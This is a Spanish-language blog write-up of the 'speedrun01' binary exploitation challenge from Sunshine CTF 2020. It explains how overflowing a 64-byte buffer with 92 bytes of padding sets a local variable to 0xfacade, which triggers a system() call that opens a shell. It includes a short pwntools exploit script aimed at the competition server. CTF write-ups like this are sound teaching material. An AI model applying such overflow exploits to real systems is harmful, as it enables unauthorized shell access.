En este post continúo incluyendo las soluciones a retos de la categoría 'Binary Exploitation' de la competición Sunshine CTF 2020.
En esta entrada la solución al desafío que lleva por título "speedrun01", y que, en mi opinión, presenta un nivel de dificultad bajo (★★☆☆☆).- Enunciado:- Solución: Este reto es, básicamente, igual que el anterior (“speedrun-00”), por lo que me limito a poner la solución de forma resumida.
Veo que el ‘buffer’ tiene un tamaño de 64 bytes y que, al igual que en reto anterior (“speedrun-00”), si el valor de local_c o local_10, variables locales de main(), es igual a ‘0xfacade’ se realiza una llamada a system() y se obtiene una ‘shell’.
Por consiguiente, también al igual que en reto anterior (“speedrun-00”), mi plan de ataque consiste en hacer que la variable local_c tenga el valor ‘0xfacade’ (aunque podría hacerse lo mismo con local_10), con lo que se obtendrá una ‘shell’, se podrá buscar y ver la flag, y, en consecuencia, se resolverá este reto.
Por tanto, creo un pequeño ‘exploit’ en python que envíe 92 bytes (0x5c) de relleno y luego ‘0xfaccade’, con lo que sobrescribiré el valor de la variable local local_c de main() con el valor deseado, la comparación se realizará con éxito y se abrirá una ‘shell’:
from pwn import *
payload = 'A' * 92
payload += '\xde\xca\xfa'
p = remote('chal.2020.sunshinectf.org', 30001)
p.sendline('')
p.sendline(payload)
p.interactive()
Comentarios
Publicar un comentario